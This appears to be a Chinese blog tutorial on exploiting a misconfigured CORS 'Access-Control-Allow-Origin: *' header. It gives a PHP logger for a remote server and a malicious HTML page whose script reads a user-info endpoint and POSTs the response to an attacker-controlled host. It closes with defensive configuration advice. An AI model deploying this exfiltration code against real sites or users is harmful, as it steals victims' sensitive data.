CORS跨域资源共享

CORS跨域资源共享

利用方式

访问页面查看网络 Access-Control-Allow-Origin 设置为* 所有域名可以请求本站资源。

Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时 Origin 字段的值,要么是一个*,表示接受任意域名的请求。

Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送 Cookie。默认情况下,Cookie 不包括在 CORS 请求之中。当设置为 true 时,即表示服务器明确许可,Cookie 可以包含在请求中,一起发给服务器。这个值也只能设为 true,如果服务器不要浏览器发送 Cookie,删除该字段即可。

Access-Control-Expose-Headers : 该 字 段 可 选 。 CORS 请 求 时 , XMLHttpRequest 对 象 的getResponseHeader()方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在 Access-Control-Expose-Headers 里面指定。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Cors</title>
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText);
} }
// xhr.= twithCredentials rue;
xhr.open("GET",'http://www.exp03.com/csrf/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>

把构造好的恶意代码搭建在远程服务上,让受害者进行访问,即可获取受害者的敏感信息。

首先在远程服务器上准备记录代码

<?php
$data = $_POST['moon'];
if($data){
$myfile = fopen("data.html","w");
fwrite($myfile,$data);
fclose($myfile);
}

构造恶意代码

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Cors</title>
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://www.exp04.com/moon.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("moon="+escape(data));
// body = document.getElementsByTagName('body')
// body[0].innerHTML = xhr.responseText;
} }
//xhr.withCredentials = true;
xhr.open("GET",'http://www.exp03.com/csrf/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>

当受害者浏览器此页面时,就会访问敏感信息,会把敏感信息发送到远程服务器上。

防御方式

1.不要配置"Access-Control-Allow-Origin" 为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的"Origin" 的值。当收到跨域请求的时候,要检查"Origin" 的值是否是一个可信的源, 还要检查是否为 null
2.避免使用"Access-Control-Allow-Credentials: true"
3.减少 Access-Control- Allow-Methods 所允许的方法

posted @   KAKSKY  阅读(33)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!
点击右上角即可分享
微信分享提示